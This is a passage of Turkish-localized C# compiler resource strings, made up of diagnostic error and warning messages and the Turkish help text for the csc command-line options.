veya 'record class' mi demek istediniz? + öğe + 'Parametre null denetimi' özelliği desteklenmiyor. + Bir __arglist parametresi, parametre listesindeki son parametre olmalıdır + {0} geçerli bir C# bileşik atama işlemi değil + İfade ağacı, 'is' desen eşleştirme işleci içeremez. + 'in' veya 'ref readonly' parametrelerine sahip olduğundan '{0}' öznitelik oluşturucusu kullanılamıyor. + ref foreach yineleme değişkenleri + '{2}' iken '{3}' olarak dönüştürülürken belirsiz kullanıcı tanımlı '{0}' ve '{1}' dönüşümleri yapıldı. + '{0}' birlikte çalışma türü gömülemiyor. Bunun yerine uygulanabilir arabirim kullanın. + İfade başvuru ile atandığından '{0}' türünde olmalıdır + Derleme hiçbir çözümleyici içermiyor + '{0}' için aşırı yüklemelerin hiçbiri '{1}' işlev işaretçisiyle eşleşmiyor + Negatif dizin ile bir dizi dizine alınıyor + Başvuru ile döndürülen özellikler set erişimcilerine sahip olamaz + Komut satırı sözdizimi hatası: '{0}' seçeneği için ':<number>' eksik + '{0}' türüne başvuru '{1}' tanımlandığını belirtiyor, ancak bulunamadı + Using veya lock deyimine bağımsız değişken olan '{0}' yerel değeri için büyük olasılıkla hatalı atama yapılmış. Yerel öğenin özgün değerinde Dispose çağrısı veya kilit açma gerçekleştirilecek. + {0} öğesi olan tanımlama grubu '{1}' türüne dönüştürülemez. + <' karakteri bir öznitelik değerinde kullanılamaz. + Bu, yönetilen bir türün ('{0}') adresini alır, boyutunu alır veya bir işaretçi bildirir. + Bir kayıttaki kopya oluşturucu, temel öğenin bir kopya oluşturucusuna veya kaydın nesneden devraldığı durumlarda parametresiz bir nesne oluşturucusuna çağrı yapmalıdır. + Geçersiz #pragma checksum sözdizimi; #pragma checksum "dosya_adı" "{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}" "XXXX..." olmalı + invaryant olarak + '{0}' yalnızca değerlendirme amaçlıdır ve gelecekteki güncelleştirmelerde değiştirilebilir veya kaldırılabilir. Devam etmek için bu tanılamayı gizleyin. + Konum, tam kapsam {0} ile sözdizimi ağacı içinde değil + Derleyicinin gerektirdiği '{0}' türü bulunamadığından yeni bir genişletme yöntemi tanımlanamıyor. Bir System.Core.dll başvurusu eksik olabilir mi? + Dönüş türündeki başvuru türlerinin null değer atanabilirliği kısmi metot bildirimiyle eşleşmiyor. + Kısa devre işleci olarak uygulanabilmesi için, kullanıcı tanımlı bir mantıksal işleç ('{0}') aynı dönüş türü ve parametre türlerine sahip olmalıdır + Aynı değişkenle karşılaştırma yapıldı; başka bir öğeyle mi karşılaştırmak istiyordunuz? + ilişkilendirmedeki yeni satırlar + 'scoped' değiştiricisi atma ile kullanılamaz. + Yalnızca büyük-küçük harfi farklı olan tanımlayıcı CLS uyumlu değil + {0} parametresi, lambda içinde parametre değiştiricisi içeriyor ancak hedef temsilci türünde içermiyor. + Geçersiz gerçek sabit değer. + Zaten sabitlenmiş bir ifadenin adresini almak için fixed deyimini kullanamazsınız + '{0}', yalnızca CLS uyumlu türler kullanan hiçbir erişilebilir oluşturucuya sahip değil + Ondalık sabit ifadenin değerlendirilmesi başarısız oldu + '{0}' parametresi '{1}' ile çıkış yaparken null olmayan bir değere sahip olmalıdır. + liste deseni + '{0}' etiketi bir yinelenen + Salt okunur bir alana atama yapılamaz (alanın tanımlandığı veya değişken başlatıcısı olduğu türün oluşturucusunda veya yalnızca başlangıç ayarlayıcısında bulunması dışında) + Null atanamaz {0} '{1}', oluşturucudan çıkış yaparken null olmayan bir değer içermelidir. {0} alanını null atanabilir olarak bildirmeyi düşünün. + '{0}' using diğer adı bu ad alanında daha önce göründü + {0} bağımsız değişkeni '{1}' anahtar sözcüğüyle geçirilmelidir + Bir örnek üye içinde ref benzeri türe sahip '{0}' birincil oluşturucu parametresi kullanılamaz + '{0}' parametresi için geçerli olan CallerArgumentExpressionAttribute öğesinin hiçbir etkisi olmaz. CallerMemberNameAttribute tarafından geçersiz kılındı. + Dönüş türündeki başvuru türlerinin null değer atanabilirliği kısmi metot bildirimiyle eşleşmiyor. + Adlandırılan öznitelik bağımsız değişkeni '{0}' için geçersiz değer + '{1}' tür parametresi için '{0}' yinelenen kısıtlaması + '{1}' türündeki salt okunur '{0}' alanının üyeleri, değer türünde olduğundan nesne başlatıcısıyla atanamadı + Salt okunur yapı birimlerinde alan benzeri olaylara izin verilmez. + Demetin == veya != işlecinin diğer tarafında farklı bir ad belirtildiğinden ya da bir ad belirtilmediğinden '{0}' demet öğesi adı yok sayıldı. + Async' değiştiricisi yalnızca gövdesi olan metotlarda kullanılabilir. + Switch ifadesi bazı null girişleri işlemiyor. + '{0}' öğesinin kısmi bildirimleri farklı temel sınıflar belirtmemelidir + '{0}' öğesine koruma düzeyi nedeniyle erişilemiyor + Gizleme işlecine bu bağlamda izin verilmez + '{0}' ve '{1}' devralınan üyeleri '{2}' türünde aynı imzaya sahip ve bu nedenle geçersiz kılınamazlar + Dizin erişimcisinin erişiminin dinamik olarak başlatılması gerekiyor, ancak dizin erişimci bir taban erişim ifadesinin parçası olduğundan dağıtılamıyor. Dinamik bağımsız değişkenlere tür atamayı veya taban erişimini ortadan kaldırmayı düşünün. + '{0}', '{1}' adlı uygun bir yönteme sahip değil, ancak bu adda bir genişletme yöntemine sahip gibi görünüyor. Genişletme yöntemleri dinamik olarak dağıtılamaz. Dinamik bağımsız değişkenlere tür atamayı veya genişletme yöntemini genişletme yöntemi sözdizimi olmadan çağırmayı düşünün. + '{0}': soyut özellikler özel erişenlere sahip olamaz + 'is' ifadesinin verilen ifadesi sağlanan türden değil + Satır içi dizi dizin oluşturucusu öğe erişim ifadesi için kullanılmaz. + Hedef çalışma zamanı, arabirimlerdeki statik soyut üyeleri desteklemiyor. + Belirtilen '{0}' sürüm dizesi gerekli biçime uymuyor - major.minor.build.revision (joker karakter olmadan) + Bir özellikte 'System.Runtime.CompilerServices.FixedBuffer' özniteliğini kullanmayın + {0} Win32 bildirim dosyası açılırken hata -- {1} + UnscopedRefAttribute yalnızca örnek metodları ve özellikleri yapılandırmak için uygulanabilir ve oluşturuculara veya yalnızca init üyelerine uygulanamaz. + '{0}', '{1}' mühürlü türündeki yeni bir sanal üye + Parametre türündeki başvuru türlerinin boş değer atanabilirliği kısmi metot bildirimi ile eşleşmiyor. + Bir ifade ağacı dizini erişimli bir özellik içeremez + Geçersiz #pragma sağlama toplamı sözdizimi + Ham dize sabit değeri, içerik olarak bu kadar çok ardışık tırnak işareti karakterine izin vermek için yeterli sayıda tırnak işareti karakteriyle başlamıyor. + LookupOptions geçersiz seçenekler birleşimine sahip + '{0}' yüksekliğinin bir dizi başlatıcısı bekleniyor + Salt okunur bir alan, yazılabilir başvuru ile döndürülemez + genişletilebilir fixed deyimi + İfade ağacı, sondan dizin ('^') ifadesi içeremez. + satır içi diziler + Bir switch ifadesi veya case etiketi C# 6 veya daha önceki bir sürümde bool, char, string, integral, enum veya karşılık gelen null atanabilir tür olmalıdır. + Minimum tür özelliği sağlamak için konum verilmelidir. + Eklenen modüllerin derlemeyle eşleşebilmesi için CLSCompliant özniteliğiyle işaretlenmesi gerekir + '{2}' türünün '{0}' genel türünde veya yönteminde '{1}' parametresi olarak kullanabilmesi için bir başvuru türü olması gerekir + Gönderim yalnızca betik kodu içerebilir. + Kayıt, 'GetHashCode' değil, 'Equals' tanımlıyor. + '{0}': '{1}' öğesi geçersiz kılınabilir bir get erişenine sahip olmadığından geçersiz kılınamıyor + Önceki catch yan tümcesi tüm özel durumları zaten yakalıyor + taşınabilir sabit arabellekler dizine alınıyor + '{0}' bir metin dosyası yerine bir ikili dosyadır + Otomatik özelliklerdeki alan hedefli öznitelikler, bu dil sürümünde desteklenmez. + Switch ifadesi bir değer olmalıdır; '{0}' bulundu. + '{0}', anonim type özelliğine atanamıyor + Atanmamış olabilecek otomatik uygulanmış özelliğin kullanımı + '{0}' yazma için açılamıyor -- '{1}' + '{0}' kullanıcı tanımlı işlecinin açık uygulaması statik olarak bildirilmelidir + Hatalı olabilecek boş deyim + Uygulama bildirimi olmayan bir kısmi yöntem olduğundan '{0}' yönteminden temsilci oluşturulamıyor + object.Finalize'ı geçersiz kılmayın. Bunun yerine bir yıkıcı sağlayın. + ifade gövdesi oluşturucusu ve yıkıcısı + ilişkisel desen + Dönüş türündeki başvuru türlerinin boş değer atanabilirliği, geçersiz kılınan üye ile eşleşmiyor. + Alıntılanan dosya adı, tek satırlı yorum veya satır sonu bekleniyor + '{0}' üyesi '{1}' ile çıkış yaparken null olmayan değere sahip olmalıdır. + XML yorumu bir tür parametresine başvuran '{0}' cref özniteliğine sahip + '{0}' temsilcisinin geçerli bir oluşturucusu yok + salt okunur ref parametreleri + Ayrıştırma en az iki değişken içermelidir. + '{1}' değer türünde tanımlanan '{0}' genişleme yöntemi temsilci oluşturmak için kullanılamaz + Tutarsız erişilebilirlik: '{1}' temel sınıfı, '{0}' sınıfından daha az erişilebilir + Goto case yalnızca switch deyimi içinde geçerlidir + Bu, bir ref parametresi aracılığıyla '{0}' parametresinin bir üyesine başvuruda bulunarak döndürür; ancak yalnızca bir return ifadesinde güvenli bir şekilde döndürebilir + System.Object bir temel sınıfa sahip olamaz veya arabirim uygulayamaz + Atanmayan yerel değişkenin kullanımı + Statik bir anonim işlev, 'this' veya 'base' başvurusu içeremez. + '{0}': '{2}' devralınmış üyesi '{1}' geçersiz kılınırken erişim değiştiricileri değiştirilemez + Dizin oluşturucular void türünde olamaz + Tutarsız erişilebilirlik: '{1}' parametre türü, '{0}' işlecinden daha az erişilebilir + '{0}', geçersiz kılınmış '{1}' üyesinin yalnızca init öğesi bakımından eşleşmelidir + Const alan bir değer sağlanmasını gerektirir + Küresel olarak devre dışı bırakıldığından 'CS{0}' uyarısı geri yüklenemedi + Finalize' yönteminin sunulması yıkıcı çağrılmasını engelleyebilir. Bir yıkıcı bildirmek mi istiyordunuz? + '{0}' üyesi başvuruyla döndürülür ancak başvuruyla döndürülemeyecek bir değere başlatıldı + Dönüş türünün null atanabilirliği geçersiz kılınan üyeyle eşleşmiyor (muhtemelen null atanabilirlik öznitelikleri nedeniyle). + Türler ve diğer adlar 'record' olarak adlandırılmamalıdır. + '{0}' başvuru ile döndürüldüğünden, '{0}' gövdesi bir yineleyici bloğu olamaz + [] içinde yanlış sayıda dizin var; {0} olması bekleniyor + Gecikmeli imzalama belirtildi ve ortak anahtar gerektiriyor, ancak ortak anahtar belirtilmedi + [DoesNotReturn] olarak işaretlenen bir metot, değer döndürmemelidir. + Geçersiz ifade terimi '{0}' + '{0}' erişeninin erişilebilirlik değiştiricisi özellik veya '{1}' dizin oluşturucusundan daha kısıtlayıcı olmalıdır + CallerFilePathAttribute yalnızca varsayılan değeri olan parametrelere uygulanabilir + '{0}' seçeneği için dosya özelliği eksik + Kısmi yöntem bildirimlerinin eşleşen başvuru dönüş değerleri olmalıdır. + Alıntılanan dosya adı bekleniyor + '{0}' türünde yinelenen kullanıcı tanımlı dönüştürme + Tür olarak byte, sbyte, short, ushort, int, uint, long veya ulong bekleniyor + Denetim, otomatik uygulanan '{0}' özelliği açıkça atanmadan önce çağırana döndürülür ve bu da 'default' öğesinin önceki örtük ataması ile sonuçlanır. + Genel bir adın beklenmeyen kullanımı + 'Derlemenin CLSCompliant özniteliği olmadığından '{0}' için CLSCompliant özniteliği gerekmiyor + '{1}' arabirimi için '{0}' yönetilen coclass sarmalayıcı sınıfı imzası geçerli bir sınıf adı imzası değildir + '{1}' türü hem '{0}' hem de '{2}' öğesinde bulunur + Tür '{0}', meta verilerde temsili olmadığından bu bağlamda kullanılamaz. + '{1}' içindeki '{0}' parametresi için olası null başvuru bağımsız değişkeni. + Tür içe aktarılan türle çakışıyor + '{0}' türünde bir sabit değer bekleniyor + Oluşturulmuş genel tür, genel olmayan türden oluşturulamaz. + Bir '{0}' karakteri, yalnızca bir aradeğerlendirme dizesinde '{0}{0}' karakterinin yinelenmesiyle atlatılabilir. + Geçersiz XML öğe içeriyor + Olası null başvuru dönüşü. + İmzası genel sanal geçersiz Finalize olan bir yöntemle bir sınıf oluşturduğunuzda bu uyarı oluşur. + +Bu sınıf temel sınıf olarak kullanılırsa ve türetilen sınıf bir yıkıcı tanımlarsa, yıkıcı Finalize'ı değil, temel sınıf Finalize yöntemini geçersiz kılar. + "IGeçersiz sıra belirticisi: ']' bekleniyor + stackalloc başlatıcı + System.Runtime.CompilerServices.FixedBuffer' özniteliğini kullanmayın. Yerine 'fixed' alan değiştiricisini kullanın. + Bu bağlamda null kullanımı geçerli değil + Bu, bir ref parametresi aracılığıyla parametrenin bir üyesine başvuruda bulunarak döndürür; ancak yalnızca bir return ifadesinde güvenli bir şekilde döndürebilir + '{0}' kayıt üyesi özel olmalıdır. + genel using yönergesi + Ad uzayı diğer ad niteleyicisi '::' her zaman bir türe veya ad alanına çözümlendiğinden burada geçersizdir. Yerine '.' kullanabilirsiniz. + Arabirimlerde bildirilen dönüştürme, eşitlik veya eşitsizlik işleçleri soyut veya sanal olmalıdır + '{0}' tür parametresinde sınıf tür kısıtlaması veya bir 'class' kısıtlaması olmadığından 'as' işleciyle birlikte kullanılamaz + Dosya yerel türü '{0}', benzersiz bir yola sahip bir dosyada bildirilmelidir. '{1}' yolu birden çok dosyada kullanılıyor. + base' anahtar sözcüğü statik yöntemde kullanılamaz + 'Engelleyiciler' deneysel özelliği bu ad alanında etkin değil. Projenize '{0}' ekleyin. + '{0}' üyesi başlatılamıyor. Bir alan veya özellik değil. + '{0}' ve '{1}' arasında belirsizlik var + Yerel değişken tanımlı ancak hiç kullanılmadı + Komut satırı sözdizimi hatası: '{1}' seçeneği için Guid eksik + '{0}', 'UnmanagedCallersOnly' özniteliğine sahip bir metotta {1} türü olarak kullanılamaz. + '{0}' başvurulan derlemesi farklı bir işlemciyi hedef alır. + {0} öğesi açıkça yazılmış bir değişkene atanamıyor + Çıkış dosyası yazılırken hata oluştu: {0}. + '{0}': statik oluşturucuların açık bir 'this' veya 'base' oluşturucu çağrısı olamaz + LIB ortam değişkeni + '{0}' modül başlatıcısı metodu modül düzeyinde erişilebilir olmalıdır + '{2}' bir Windows Çalışma Zamanı olayı ve '{3}' bir düzenli .NET olayı olduğundan '{0}' '{1}' öğesini uygulayamıyor. + '{0}' artık kullanılmıyor + '{0}', '{1}' türüne sahip. Sabit bir bildirimde belirtilen tür sbyte, byte, short, ushort, int, uint, long, ulong, char, float, double, decimal, bool, string bir sabit listesi türü veya bir başvuru türü olmalıdır. + Belirtilen sürüm dizesi önerilen biçime uymuyor - major.minor.build.revision + Arabirimdeki kullanıcı tanımlı dönüştürme, kapsayan türle sınırlandırılmış, kapsayan türdeki bir tür parametresine veya bu parametreden dönüştürülmelidir. + '{0}' parametresinin '{1}' için XML yorumunda eşleşen param etiketi yoktur (ancak diğer parametrelerin vardır) + '{0}' dizine alınan özelliğinin sağlanması gereken isteğe bağlı olmayan bağımsız değişkenleri var + '{0}' türünün '{1}' türü için AsyncMethodBuilder olarak kullanılması için, Task özelliğinin '{2}' türü yerine '{1}' türü döndürmesi gerekir. + '{0}': bir alan hem geçici hem de salt okunur olamaz + Kayıtlardan yalnızca kayıtlar devralabilir. + Sonlandırılmamış ham dize sabit değeri. + Lambda ifadelerinde öznitelikler parantezli parametre listesi gerektirir. + Statik türler parametre olarak kullanılamaz + #endregion yönergesi bekleniyor + <missing> + Düz metin arasına kod ekli ham dize sabit değeri, bu kadar çok ardışık açma küme ayracına içerik olarak izin vermek için yeterli '$' karakterle başlamıyor. + Türdeki başvuru türlerinin boş değer atanabilirliği, örtük olarak uygulanan üye ile eşleşmiyor. + '{0}' parametre adı otomatik oluşturulmuş bir parametre adı ile çakışıyor + Metot grubunda, tür parametrelerine 'nameof' bağımsız değişkeni olarak izin verilmez. + Tutarsız erişilebilirlik: '{1}' parametre türü '{0}' temsilcisinden daha az erişilebilir + Diğer ad kullanımı bir 'ref' türü olamaz. + Önceki catch yan tümcesi tüm özel durumları zaten yakalıyor. Oluşturulan özel olmayan durumlar System.Runtime.CompilerServices.RuntimeWrappedException içinde sarmalanır. + Dahil edilen XML'nin bir kısmı veya tamamı eklenemedi + '{0}' beklenemiyor + 'default' kısıtlaması yalnızca geçersiz kılma ve açık arabirim uygulama metotlarında geçerlidir. + parametre + Sabit değer bekleniyor + '{0}' oluşturucusu kaynak oluşturamadı. Oluşturucu çıkışa katkıda bulunamaz, bunun sonucunda derleme hataları oluşabilir. Özel durum '{2}' iletisi ile '{1}' türündeydi. +{3} + '{0}' tür parametresi, '{1}' dış türünden tür parametresi ile aynı ada sahip + Double türündeki sabit değer örtülü olarak '{1}' türüne dönüştürülemez; bu türde bir sabit değer oluşturmak için '{0}' soneki kullanın + There is no target type for the collection expression. + 'Değil' ya da 'veya' deseninde değişken bildirilemez. + + Visual C# Derleyicisi Seçenekleri + + - ÇIKIŞ DOSYALARI - +-out:<file> Çıkış dosyası adını belirtir (varsayılan: ana sınıf veya + ilk dosyayla birlikte dosyanın temel adı) +-target:exe Konsol yürütülebilir dosyası oluşturur (varsayılan) (Kısa + form: -t:exe) +-target:winexe Windows yürütülebilir dosyası oluşturur (Kısa biçimi: + -t:winexe) +-target:library Kitaplık oluşturur (Kısa biçimi: -t:library) +-target:module Başka bir derlemeye eklenebilir + bir modül oluşturur (Kısa biçimi: -t:module) +-target:appcontainerexe Appcontainer yürütülebilir dosyası oluşturur (Kısa biçimi: + -t:appcontainerexe) +-target:winmdobj WinMDExp kullanan Windows Çalışma Zamanı + ara dosyası oluşturur (Kısa biçimi: -t:winmdobj) tarafından +-doc:<file> oluşturulacak XML belgeleri dosyası +-refout:<file> Oluşturulacak başvuru derlemesi çıkışı +-platform:<string> Bu kodun çalışabileceği platformları sınırlar: x86, + Itanium, x64, arm, arm64, anycpu32bitpreferred veya + anycpu. Varsayılan: anycpu. + + - GİRİŞ DOSYALARI - +-recurse:<wildcard> Joker karakter belirtimlerine göre + geçerli dizindeki ve alt dizinlerdeki tüm + dosyaları ekler +-reference:<alias>=<file> Verilen diğer adı kullanan belirtilen derleme dosyasından + meta verilerine başvurur (Kısa biçimi: -r) +-reference:<file list> Belirtilen derleme dosyasından + başvuru meta verileri (Kısa biçimi: -r) +-addmodule:<file list> Belirtilen modülleri bu derlemeye bağlar +-link:<file_list> Belirtilen birlikte çalışma derleme dosyalarından + meta verileri ekler (Kısa biçimi: -l) +-analyzer:<file list> Bu derlemedeki çözümleyicileri çalıştırır + (Kısa biçimi: -a) +-additionalfile:<file list> Kod oluşturmayı doğrudan etkilemeyen ancak + hata veya uyarı üretimi için çözümleyiciler tarafından kullanılabilen + ek dosyalar. +-embed Tüm kaynak dosyaları PDB’ye ekler. +-embed:<file list> Belirli dosyaları PDB'ye ekler. + + - KAYNAKLAR - +-win32res:<file> Win32 kaynak dosyası (.res) belirtir +-win32icon:<file> Çıkış dosyası için bu simgeyi kullanır +-win32manifest:<file> Win32 bildirim dosyası (.xml) belirtir +-nowin32manifest Varsayılan Win32 bildirimini ekler +-resource:<resinfo> Belirtilen kaynağı ekler (Kısa biçimi: -res) +-linkresource:<resinfo> Belirtilen kaynağı bu derlemeye bağlar + (Kısa biçimi: -linkres) Resinfo biçimi + <file>[,<string name>[,public|private]] + + - KOD OLUŞTURMA - +-debug[+|-] Hata ayıklama bilgilerini gösterir +-debug:{full|pdbonly|portable|embedded} + Hata ayıklama türünü belirtir ('full' varsayılandır, + 'portable' platformlar arası biçimdir, + 'embedded', platformlar arası biçimdir ve hedef + .dll veya .exe dosyasına eklenir. +-optimize[+|-] İyileştirmeleri etkinleştirir (Kısa biçimi: -O) +-deterministic Belirlenimci bir derleme üretir + (modül sürümü GUID'si ve zaman damgası dahil) +-refonly Ana çıkış yerine bir başvuru derlemesi üretir +-instrument:TestCoverage Kapsam bilgilerini toplamak için işaretlenmiş + bir derleme üretir +-sourcelink:<file> PDB dosyasına eklenecek kaynak bağlantısı bilgileri. + + - HATALAR VE UYARILAR - +-warnaserror[+|-] Tüm uyarıları hata olarak bildirir. +-warnaserror[+|-]:<warn list> Belirli uyarıları hata olarak bildirir + (tüm null atanabilirlik uyarıları için "nullable" kullanın) +-warn:<n> Uyarı düzeyini ayarlar (0 veya üzeri) (Kısa biçimi: -w) +-nowarn:<warn list> Belirli uyarı iletilerini devre dışı bırakır + (tüm null atanabilirlik uyarıları için "nullable" kullanın) +-ruleset:<file> Belirli tanılamaları devre dışı bırakan bir + kural kümesi dosyası belirtir. +-errorlog:<file>[,version=<sarif_version>] + Tüm derleyici ve çözümleyici tanılamalarının SARIF + kural kümesi dosyası belirtir. + sarif_version:{1|2|2.1} Varsayılan olarak 1. 2 ve 2.1 + Her ikisi ise 2.1.0 SARIF sürümünü ifade eder. +-reportanalyzer Yürütme zamanı gibi ek çözümleyici bilgilerini + raporlar. +-skipanalyzers[+|-] Tanılama çözümleyicilerinin yürütülmesini atlar. + + - DİL - +-checked[+|-] Taşma denetimleri oluştur +-unsafe[+|-] 'Güvenli olmayan' koda izin ver +-define:<symbol list> Koşullu derleme sembollerini tanımlar (Kısa + biçimi: -d) +-langversion:? Dil sürümü için izin verilen değerleri görüntüler +-langversion:<string> `default` (en son birincil sürüm) veya + `14` veya `15.3` gibi belirli sürümler gibi + 'default' ('latest' ile aynı), + `latestmajor` (alt sürümler hariç en son sürüm), + 'preview' (desteklenmeyen önizlemedeki özellikler dahil olmak üzere en son sürüm) + veya `6` ya da `7.1` gibi belirli sürümler. +-nullable[+|-] Null atanabilir bağlam seçeneğini (etkin|devre dışı) belirtir. +-nullable:{enable|disable|warnings|annotations} + Null atanabilir bağlam seçeneğini (etkin|devre dışı|uyarılar|ek açıklamalar) belirtir. + + - GÜVENLİK - +-delaysign[+|-] Tanımlayıcı ad anahtarının ortak bölümünü kullanarak + derlemeyi genel imzalar. +-publicsign[+|-] Tanımlayıcı ad anahtarının ortak bölümünü kullanarak + derlemeyi genel imzalar. +-keyfile:<file> Tanımlayıcı ad anahtarı dosyasını belirtir. +-keycontainer:<string> Tanımlayıcı ad anahtarı kapsayıcısını belirtir. +-highentropyva[+|-] Yüksek entropili ASLR’yi etkinleştirir. + + - DİĞER - +@<file> Daha fazla seçenek için yanıt dosyasını okur +-help Bu kullanım iletisini görüntüler (Kısa biçimi: -?) +-nologo Derleyici telif hakkı iletisini gizler +-noconfig VBC.RSP dosyasını otomatik olarak eklemez. +-parallel[+|-] Eş zamanlı derleme. +-version Derleyici sürüm numarasını görüntüler ve çıkar. + + - GELİŞMİŞ - +-baseaddress:<address> Oluşturulacak kitaplığın temel adresi +-checksumalgorithm:<alg> PDB’de depolanan sağlama toplamı kaynak dosyasını hesaplamak için + kullanılan algoritmayı belirtir. Desteklenen değerler şunlardır: + SHA1 veya SHA256 (varsayılan). +-codepage:<n> Kaynak açılırken kullanılacak kod sayfasını belirtir + Dosyalar +-utf8output UTF-8 kodlama kümesinde -utf8output Çıkış derleyicisi +-main:<type> Giriş noktası türünü içeren türü + (diğer tüm olası giriş noktalarını yoksay) (Kısa + biçimi: -m) +-fullpaths Derleyici mutlak yollar oluşturur +-filealign:<n> Çıkış dosyası bölümleri için kullanılan hizalamayı + belirtir. +-pathmap:<K1>=<V1>,<K2>=<V2>,... + Derleyicinin oluşturduğu kaynak yol adları için + eşleştirme belirtir. +-pdb:<file> Hata ayıklama bilgileri dosya adını belirtir (varsayılan: + .pdb uzantılı çıkış dosyası adı) +-errorendlocation Her hatanın çıkış satırı ve + bitiş konumu sütunu +-preferreduilang Tercih edilen çıkış dili adını belirtir. +-nosdkpath Standart kitaplık derlemeleri için varsayılan SDK yolunu aramayı devre dışı bırakır. +-nostdlib[+|-] Standart kitaplıklara başvurmaz (mscorlib.dll) +-subsystemversion:<string> Bu derlemenin alt sistem sürümünü belirtir +-lib:<file list> Başvurular için aranacak ek dizinleri + belirtir +-errorreport:<string> İç derleyici hatalarının nasıl işleneceğini belirtir; + istem, gönderme, kuyruğa alma veya hiçbiri. Varsayılan: + kuyruğa alma. +-appconfig:<file> Derleme bağlama ayarlarını içeren + uygulama yapılandırma dosyasını belirtir +-moduleassemblyname:<string> Bu modülün bir parçası olacağı derlemenin + adı +-modulename:<string> Kaynak modülün adını belirtir +-generatedfilesout:<dir> Derleme sırasında oluşturulan dosyaları + belirtilen dizine yerleştirir. +-reportivts[+|-] Bu derlemeye tüm bağımlılıklar tarafından verilen tüm IVT'ler hakkında çıkış bilgisi + ve hangi derlemeden geldikleri dahil olmak üzere + yabancı derleme erişilebilirlik hataları hakkında ek açıklamalar. + + Sözdizimi hatası; değer bekleniyor + 'Bir geçersiz kılma olmadığından '{0}' korunamıyor + #error: '{0}' + Aralık değişkeni '{0}' zaten ifade edilmiş + AssemblySignatureKeyAttribute içinde geçersiz imza ortak anahtarı belirtildi. + '{0}' demet öğesi adı, hedef tür olan '{1}' tarafından farklı bir ad belirtildiği veya hiçbir ad belirtilmediği için yoksayılıyor. + Bu uyarı, MarshalByRefObject öğesinden türeyen bir sınıfın üyesindeki bir yöntemi, özelliği veya dizin oluşturucuyu çağırmaya çalıştığınızda ve üye bir değer türü olduğunda oluşur. MarshalByRefObject öğesinden alınan nesneler genellikle uygulama etki alanı genelinde başvuruya göre sıralanır. Bir uygulama etki alanı genelinde bir nesne gibi değer türü üyesine herhangi bir kod doğrudan erişmeye çalışırsa, çalışma zamanı özel durumu oluşur. Uyarıyı çözümlemek için, öncelikle üyeyi yerel bir değişkene kopyalayın ve değişkende yöntemi çağır. + Çağrı, '{1}' içinde erişilebilir olmadığından '{0}' ile engellenemiyor. + İki dizin erişimcisi farklı adlara sahip; IndexerName özniteliği bir tür içindeki her dizin erişimcisinde aynı adla kullanılmalıdır + Parametrenin başvuru türü değiştiricisi hedefte karşılık gelen parametreyle eşleşmiyor. + 'await', '{1}.GetAwaiter()' öğesinin '{0}' dönüş türünün uygun IsCompleted, OnCompleted ve GetResult üyeleri olmasını ve INotifyCompletion veya ICriticalNotifyCompletion uygulanmasını gerektirir. + '{0}', '{1}' ile '{2}' arasında belirsiz bir başvuru + Parametre listesiyle bir 'struct' içinde bildirilen bir oluşturucunun, birincil oluşturucuyu veya açıkça bildirilmiş bir oluşturucuyu çağıran bir 'this' başlatıcısı olmalıdır. + Seçenek, bir kaynak dosyada veya eklenen modülde verilen özniteliği geçersiz kılar + Türler ve diğer adlar 'gerekli' olarak adlandırılamaz. + '{0}': 'readonly' erişimcilerde yalnızca özellik veya dizin oluşturucusu hem alma hem ayarlama erişimcisine sahipse kullanılabilir + '{0}' ve '{1}' ile ilişkili döngüsel temel tür bağımlılığı + Beklenen tanımlayıcı veya sayısal dize + '{0}' türü örtülü olarak '{1}' türüne dönüştürülemez + Olası bir null başvurunun başvurma işlemi. + XML parçası eklenemedi + Bu, referansa göre yerel döndürür, ancak yerel bir referans değildir + '{0}': arabirimdeki örnek olayın başlatıcısı olamaz + '{0}', 'UnmanagedCallersOnly' için geçerli bir çağırma kuralı türü değil. + '{0}' oluşturucusu kendisini çağıramaz + Tek satırlık bir yorum, araya alınmış bir dizede kullanılamaz. + Yerel, başvuruyla döndürülür, ancak başvuruyla döndürülemeyecek bir değere başlatıldı + '{0}' adlı yerel bir değişken veya işlev bu kapsamda zaten tanımlanmış + Engellenemiyor: Derleme, '{0}' yoluna sahip bir dosya içermiyor. '{1}' yolunu mu kullanmak istediniz? + İki derlemenin sürümü ve/veya sürüm numarası farklı. Birleşmenin gerçekleşmesi için, uygulamanın .config dosyasındaki yönergeleri belirtmeniz ve derlemenin doğru güçlü adını sağlamanız gerekir. + Bir değişken olmadığından '{0}' öğesinin dönüş değeri değiştirilemez + '{0}': '{1}' temel türü CLS uyumlu değil + Gerekli '{0}' üyesine bir değer atanmalıdır, iç içe üye veya koleksiyon başlatıcısı kullanamaz. + Üst düzey deyimler ad alanı ve tür bildirimlerinden önce gelmelidir. + '{0}' ve '{1}' kısmi metot bildirimlerinde imza farklılıkları var. + Kaynak dosya, hem dosya kapsamlı bildirimleri hem de normal ad alanı bildirimlerini içeremez. + Salt okunur olduğu için '{0}' öğesine atama yapılamaz + tür diğer adı kullanımı + Parametre {0} '{1}{2}' türü olarak ifade edilir ancak '{3}{4}' olmalıdır + PermissionSet özniteliği için '{1}' adlandırılmış bağımsız değişkeni için belirtilen '{0}' dosyası okunurken hata: '{2}' + İfade ağacı, switch ifadesi içeremez. + '{0}' tür parametresi için bir kısıtlama yan tümcesi zaten belirtilmiş. Bir tür parametresi için kısıtlamaların tümü tek bir where yan tümcesinde belirtilmelidir. + 'static' değiştiricisi 'unsafe' değiştiricisinden önce olmalıdır. + anonim türler ile + void' beklenemiyor + Bir ref yerel öğesi olmadığından, yerel '{0}' öğesi başvuru ile döndürülemez + Oluşturucu çağrısının dinamik olarak dağıtılması gerekiyor, ancak bir oluşturucu başlatıcısının parçası olduğundan dağıtılamıyor. Dinamik bağımsız değişkenlere tür atamayı düşünün. + Türü örtük olarak belirlenen '{0}' out değişkeninin türü çıkarsanamıyor. + '{1}' özniteliği eksik olduğundan '{0}' derlemesinden birlikte çalışma türleri katıştırılamıyor. + #line span yönergesi ilk parantezden önce, karakter uzaklığından önce ve dosya adından önce boşluk gerektirir + nesne başlatıcı + Açıkça yazılmış değişkenlerin birden çok bildirimcisi olamaz + {0} '{1}', salt okunur değişken olduğundan yazılabilir başvuru ile döndürülemez + Ad alanı; alanlar, yöntemler veya deyimler gibi üyeleri doğrudan içeremez + '{0}' üye değiştiricisi üye türünden ve adından önce gelmelidir + Switch ifadesi giriş türünün tüm olası değerlerini işlemiyor. (İfade tam kapsamlı değil.) + '{0}' hedefine olan çağrı '{1}' engelleyicisi ile engelleniyor, ancak imzalar eşleşmiyor. + } bekleniyor + Boş switch bloğu + Adlandırılmış öznitelik 